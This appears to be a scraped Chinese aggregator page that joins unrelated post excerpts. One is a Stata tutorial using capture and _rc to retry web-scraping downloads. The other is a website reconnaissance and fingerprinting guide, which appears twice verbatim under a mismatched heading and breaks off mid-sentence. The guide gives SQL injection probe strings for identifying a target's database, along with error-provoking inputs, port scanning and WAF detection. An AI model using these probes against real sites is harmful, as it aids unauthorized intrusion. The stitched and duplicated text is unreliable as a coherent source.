　　_rc可以看作是一个储存错误代码的暂元，当_rc等于0时代表程序成功执行且没有发生错误，反之即发生了错误。如果想要在不终止程序的前提下提取错误代码，就可以使用_rc来实现。例如在_rc前面加上display就可以直接显示当前程序的错误代码。
　　我们知道当capture后面的命令有错误时，会抑制其输出，并把错误代码存储在_rc中，因此在实际操作中经常结合二者来使用。在没有使用capture的情况下，如果没有发生错误，是不会返回错误代码的，而当发生错误时，会返回诸如r(111)此类的提示，这里r()中的数字就是_rc里储存的错误代码。错误代码的种类有很多，常见的有111（观测值不存在）、601（文件不存在）、109（类型不匹配）、199（命令不存在）等等，当遇到这些代码时，直接点击r(#)就可以查看错误原因类型，或者直接help r(#)也可以查看错误原因。
　　举个简单的例子，我们有时会为了避免重复而在创建文件夹时前面加上capture，表示如果该文件夹存在就跳过，如果不存在那么就创建。如果将创建文件夹的语句和“display _rc”一同运行，就可以看到文件夹是否成功新建，并且无需终止程序。如果想要输出的结果更加直观，可以设置提示语句：
　　cap mkdir "D:\mainwork\_variables介绍"if _rc != 0 {dis "该文件夹已存在！" //若错误代码不为0，输出“该文件夹已存在！”字样}
　　
　　由于小编之前已经创建过该文件夹，这里重复创建发生了错误，因此得到了已存在的提示。更重要的是，在网络爬虫中，使用_rc可以避免由网络延时导致的程序错误。以抓取新浪财经网页中长江电力的公司公告为例（网址为：），我们可以看到单个页面共有30条公告，一共有47页。如果我们想要爬取单个页面的30条公告，只需直接抓取，然后就可以进行清洗和处理了。代码也很简单：
　　clearcap mkdir "D:\mainwork\新浪上市公司公告"cd "D:\mainwork\新浪上市公司公告"copy "http://vip.stock.finance.sina. ... ot%3B temp.txt, replaceinfix strL v 1-100000 using temp.txt, clear //读入抓取到的网页内容
　　但如果我们需要爬取该公司所有的公告，就需要对页码进行循环，也就是网址最后的数字：
　　
　　这时就会出现一个问题：在代码正确无误的情况下，却偶尔会出现报错。这是因为，在循环抓取网页时，有时网络的延迟会致使报错。那么，配合使用capture和_rc这对好朋友就能轻松解决这个爬虫过程中常见的问题了，具体代码如下：
　　clearcap mkdir "D:\mainwork\新浪上市公司公告"cd "D:\mainwork\新浪上市公司公告"forvalues p = 1/10000 { cap copy "http://vip.stock.finance.sina. ... ge%3D`p'" temp.txt, replace while _rc != 0 { sleep 5000 //当错误代码不为0时，休息5秒再继续运行 cap copy "http://vip.stock.finance.sina. ... ge%3D`p'" temp.txt, replace }}
　　除此之外，我们还可以利用_rc的特性来显示错误提示，只需在_rc等于不同的值时，输出相应的错误原因即可。更多功能，一起来动手探索吧。
　　
　　对我们的推文累计打赏超过1000元，我们即可给您开具发票，发票类别为“咨询费”。用心做事，不负您的支持！
　　往期推文推荐
　　关于我们
　　微信公众号“Stata and Python数据分析”分享实用的stata、python等软件的数据处理知识，欢迎转载、打赏。我们是由李春涛教授领导下的研究生及本科生组成的大数据处理和分析团队。
　　此外，欢迎大家踊跃投稿，介绍一些关于stata和python的数据处理和分析技巧。投稿邮箱：投稿要求：
　　1）必须原创，禁止抄袭；
　　2）必须准确，详细，有例子，有截图；
　　注意事项：
　　1）所有投稿都会经过本公众号运营团队成员的审核，审核通过才可录用，一经录用，会在该推文里为作者署名，并有赏金分成。
　　2）邮件请注明投稿，邮件名称为“投稿+推文名称”。
　　3）应广大读者要求，现开通有偿问答服务，如果大家遇到有关数据处理、分析等问题，可以在公众号中提出，只需支付少量赏金，我们会在后期的推文里给予解答。
　　
　　
　　 查看全部

　　php禁止网页抓取 指纹识别大全
　　Windows操作系统不区分大小写，Linux系统大小写敏感，用此方法能够判断是Windows还是Linux系统。•ping
　　判断是Linux还是Windows最简单就是通过ping来探测，Windows的TTL值都是一般是128，Linux则是64。所以大于100的肯定是Windows，而几十的肯定是Linux。
　　但是，通过TTL值来判断服务器类型也不是百分之百准确的，有些windows服务器的TTL值也是几十，而且有的服务器禁止ping。
　　
　　脚本类型
　　我们需要知道网站用的脚本类型：php 、Jsp 、Asp 、Aspx 、html。
　　为什么要进行脚本类型探测？
　　•网站会进行伪装，要么没有后缀，要么就是伪静态。•有些站点会修改解析后缀，比如：本来是PHP的站点，可以修改文件把asp后缀当作php解析。
　　探测脚本类型：1.如果不是静态或者伪静态 则多点开几个界面，可以看到脚本后缀。2.最简单的方法，在域名后面分别加个 /index.asp /index.aspx /index.php /index.jsp 不报错则是网站支持的脚本语言 原理：大部分网站根目录都会放个index首页文件，这是最快速最简单的方式。3.F12审查元素，在返回头一般都能看到网站脚本。4.网站的 robots.txt site.xml 这些文件很可能会有暴露网站的语言 这个直接就访问，robots.txt 等等就可以，存在的话网站脚本一目了然。5.在网站任意界面直接查看源码，搜索asp或aspx或php或jsp 很多伪静态的站，都可以用这种方法。他会调用一些动态脚本，在源码会看到。6.用google搜索 site:xxx filetype:php site:目标站域名 inurl:脚本语言类型 如果收录不是很少，一般都能看出来。7.抓取数据包，分析cookie或session名称，有可能有脚本前缀 比如：php的站点， session名称是 phpsesssion.
　　物理路径
　　参考：
　　敏感文件、目录
　　参考：
　　数据库
　　我们需要知道网站用的是哪种类型的数据库：Mysql、Oracle、SqlServer 还是 Access 。
　　虽然这几种数据库的语法大体上相同，但是还是有区别的。
　　所以我们还是要知道目标网站用的是哪种数据库，并且数据库是哪个版本的。
　　几种数据库的区别：
　　•Access 全名是Microsoft Office Access，是由微软发布的关联式数据库管理系统。小型数据库，当数据库达到100M左右的时候性能就会下降。
　　数据库后缀名：.mdb 一般是asp的网页文件用access数据库•SQL Server是由Microsoft开发和推广的关系数据库管理系统（DBMS），是一个比较大型的数据库。
　　端口号为1433。数据库后缀名 .mdf•MySQL 是一个关系型数据库管理系统，由瑞典MySQL AB 公司开发，目前属于 Oracle 旗下产品。
　　MySQL是最流行的关系型数据库管理系统，在 WEB 应用方面MySQL是最好的应用软件之一，MySQL数据库大部分是php的页面。默认端口是3306•Oracle又名Oracle RDBMS，或简称Oracle。
　　是甲骨文公司的一款关系数据库管理系统。常用于比较大的网站。默认端口是1521
　　首先，成本上的差距，access是不要钱的，mysql也是开源的，sql server 是收费的一般也就几千，Oracle的费用则数万。
　　其次，处理能力，access支持千以内的访问量，sql server支持几千到上万的访问，而Oracle则支持海量的访问。
　　再次，从数据库的规模来看，access是小型数据库，mysql 是中小型数据库，sql server是中型数据库，Oracle是大型数据库。
　　判断网站搭建数据库的方法：
　　•【根据脚本语言判断】
　　如果语言为asp,基本就是access数据库 aspx可能是mssql很少是access jsp的站oracle居多 php一般为mysql (也有可能是其他数据库)•【根据报错判断】
　　在参数后面使网站报错也可能会给出数据库报错信息，报错方法很多，可以修改参数为不存在的参数，比如9999999 也可以用特殊符号，等等。•【根据数据库特性判断】
　　存在注入时 在参数后面加上 and len('a')=1 如果返回正常，一般数据库为mssql或mysql，大站的话可能是db2，界面返回错误的话，数据库基本是oracle
　　在参数后面加上 ;and (select count(*) from sysobjects)>0 如果返回正常那就是mssql数据库，如果不正常那就不是mssql(sql server)•【根据端口判断】
　　这个很简单，其实你扫一下端口，就知道是什么数据库了。
　　1433对应mssql数据库 3306对应mysql数据库。1521对应oracle数据库
　　如果端口被更改，可以逐一用 xx.xx.xx.xx:: 尝试访问端口，如果是数据库端口，会返回对应的无法连接数据库的英文 。不是数据库，服务器会一直载入或者找不到界面。
　　中间件
　　知道了这些信息之后，我们就需要知道网站用的web服务器是什么类型的：Apache、Nginx、Tomcat 还是 IIS。
　　知道了web服务器是哪种类型后，我们还要探测web服务器具体的版本。
　　比如Ngnix版本CMS
　　CMS又称整站系统。
　　常见的CMS有：WordPress、Dedecms、Discuz、PhpWeb、PhpWind、Dvbbs、PhpCMS、ECShop、、SiteWeaver、AspCMS、帝国、Z-Blog等。
　　CMS指纹识别又有很多方法，比如说御剑指纹识别、Webrobot工具、whatweb工具、还有在线查询的网站等等。
　　CMS在线指纹识别：
　　WAF
　　Waf也叫Web应用防火墙，是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。
　　常用的两种方式：
　　（1）手工（提交恶意数据，简单粗暴）
　　（2）Kaili工具（WAFW00F、Nmap）
　　•Nmap探测WAF有两种脚本 查看全部

　　php禁止网页抓取 指纹识别大全
　　Windows操作系统不区分大小写，Linux系统大小写敏感，用此方法能够判断是Windows还是Linux系统。•ping
　　判断是Linux还是Windows最简单就是通过ping来探测，Windows的TTL值都是一般是128，Linux则是64。所以大于100的肯定是Windows，而几十的肯定是Linux。
　　但是，通过TTL值来判断服务器类型也不是百分之百准确的，有些windows服务器的TTL值也是几十，而且有的服务器禁止ping。
　　
　　脚本类型
　　我们需要知道网站用的脚本类型：php 、Jsp 、Asp 、Aspx 、html。
　　为什么要进行脚本类型探测？
　　•网站会进行伪装，要么没有后缀，要么就是伪静态。•有些站点会修改解析后缀，比如：本来是PHP的站点，可以修改文件把asp后缀当作php解析。
　　探测脚本类型：1.如果不是静态或者伪静态 则多点开几个界面，可以看到脚本后缀。2.最简单的方法，在域名后面分别加个 /index.asp /index.aspx /index.php /index.jsp 不报错则是网站支持的脚本语言 原理：大部分网站根目录都会放个index首页文件，这是最快速最简单的方式。3.F12审查元素，在返回头一般都能看到网站脚本。4.网站的 robots.txt site.xml 这些文件很可能会有暴露网站的语言 这个直接就访问，robots.txt 等等就可以，存在的话网站脚本一目了然。5.在网站任意界面直接查看源码，搜索asp或aspx或php或jsp 很多伪静态的站，都可以用这种方法。他会调用一些动态脚本，在源码会看到。6.用google搜索 site:xxx filetype:php site:目标站域名 inurl:脚本语言类型 如果收录不是很少，一般都能看出来。7.抓取数据包，分析cookie或session名称，有可能有脚本前缀 比如：php的站点， session名称是 phpsesssion.
　　物理路径
　　参考：
　　敏感文件、目录
　　参考：
　　数据库
　　我们需要知道网站用的是哪种类型的数据库：Mysql、Oracle、SqlServer 还是 Access 。
　　虽然这几种数据库的语法大体上相同，但是还是有区别的。
　　所以我们还是要知道目标网站用的是哪种数据库，并且数据库是哪个版本的。
　　几种数据库的区别：
　　•Access 全名是Microsoft Office Access，是由微软发布的关联式数据库管理系统。小型数据库，当数据库达到100M左右的时候性能就会下降。
　　数据库后缀名：.mdb 一般是asp的网页文件用access数据库•SQL Server是由Microsoft开发和推广的关系数据库管理系统（DBMS），是一个比较大型的数据库。
　　端口号为1433。数据库后缀名 .mdf•MySQL 是一个关系型数据库管理系统，由瑞典MySQL AB 公司开发，目前属于 Oracle 旗下产品。
　　MySQL是最流行的关系型数据库管理系统，在 WEB 应用方面MySQL是最好的应用软件之一，MySQL数据库大部分是php的页面。默认端口是3306•Oracle又名Oracle RDBMS，或简称Oracle。
　　是甲骨文公司的一款关系数据库管理系统。常用于比较大的网站。默认端口是1521
　　首先，成本上的差距，access是不要钱的，mysql也是开源的，sql server 是收费的一般也就几千，Oracle的费用则数万。
　　其次，处理能力，access支持千以内的访问量，sql server支持几千到上万的访问，而Oracle则支持海量的访问。
　　再次，从数据库的规模来看，access是小型数据库，mysql 是中小型数据库，sql server是中型数据库，Oracle是大型数据库。
　　判断网站搭建数据库的方法：
　　•【根据脚本语言判断】
　　如果语言为asp,基本就是access数据库 aspx可能是mssql很少是access jsp的站oracle居多 php一般为mysql (也有可能是其他数据库)•【根据报错判断】
　　在参数后面使网站报错也可能会给出数据库报错信息，报错方法很多，可以修改参数为不存在的参数，比如9999999 也可以用特殊符号，等等。•【根据数据库特性判断】
　　存在注入时 在参数后面加上 and len('a')=1 如果返回正常，一般数据库为mssql或mysql，大站的话可能是db2，界面返回错误的话，数据库基本是oracle
　　在参数后面加上 ;and (select count(*) from sysobjects)>0 如果返回正常那就是mssql数据库，如果不正常那就不是mssql(sql server)•【根据端口判断】
　　这个很简单，其实你扫一下端口，就知道是什么数据库了。
　　1433对应mssql数据库 3306对应mysql数据库。1521对应oracle数据库
　　如果端口被更改，可以逐一用 xx.xx.xx.xx:: 尝试访问端口，如果是数据库端口，会返回对应的无法连接数据库的英文 。不是数据库，服务器会一直载入或者找不到界面。
　　中间件
　　知道了这些信息之后，我们就需要知道网站用的web服务器是什么类型的：Apache、Nginx、Tomcat 还是 IIS。
　　知道了web服务器是哪种类型后，我们还要探测web服务器具体的版本。
　　比如Ngnix版本CMS
　　CMS又称整站系统。
　　常见的CMS有：WordPress、Dedecms、Discuz、PhpWeb、PhpWind、Dvbbs、PhpCMS、ECShop、、SiteWeaver、AspCMS、帝国、Z-Blog等。
　　CMS指纹识别又有很多方法，比如说御剑指纹识别、Webrobot工具、whatweb工具、还有在线查询的网站等等。
　　CMS在线指纹识别：
　　WAF
　　Waf也叫Web应用防火墙，是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。
　　常用的两种方式：
　　（1）手工（提交恶意数据，简单粗暴）
　　（2）Kaili工具（WAFW00F、Nmap）
　　•Nmap探测WAF有两种脚本 查看全部